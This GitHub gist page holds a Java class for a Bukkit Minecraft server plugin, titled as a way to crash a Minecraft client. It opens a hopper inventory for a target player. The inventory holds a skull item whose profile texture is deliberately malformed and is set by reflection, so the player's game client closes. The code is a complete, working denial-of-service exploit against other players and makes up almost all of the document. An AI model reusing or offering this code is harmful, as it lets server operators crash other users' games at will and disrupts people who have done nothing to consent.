Skip to content

Instantly share code, notes, and snippets.

@MineTheCube
Created September 4, 2016 00:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MineTheCube/0cb9fbb2931f6dec0e64e546613e5b97 to your computer and use it in GitHub Desktop.
Save MineTheCube/0cb9fbb2931f6dec0e64e546613e5b97 to your computer and use it in GitHub Desktop.
Crash a Minecraft client (close its window)
package fr.onecraft.client;
import com.mojang.authlib.GameProfile;
import com.mojang.authlib.properties.Property;
import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryType;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import java.lang.reflect.Field;
import java.util.UUID;
/**
* Crash a Minecraft client (close its window)
*/
public class CrashClient {
public static void crash(Player p) {
Inventory inventory = Bukkit.createInventory(null, InventoryType.HOPPER, "§r");
ItemStack skull = makeInvalidSkull();
inventory.setItem(2, skull);
p.openInventory(inventory);
}
public static ItemStack makeInvalidSkull() {
ItemStack skull = new ItemStack(Material.SKULL_ITEM, 0, (short) 3);
ItemMeta meta = skull.getItemMeta();
GameProfile profile = new GameProfile(UUID.randomUUID(), null);
profile.getProperties().put("textures", new Property("textures", "I2ludmFsaWQ="));
try {
Field field = meta.getClass().getDeclaredField("profile");
field.setAccessible(true);
field.set(meta, profile);
} catch (NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {}
meta.setDisplayName("§c§k0");
skull.setItemMeta(meta);
return skull;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment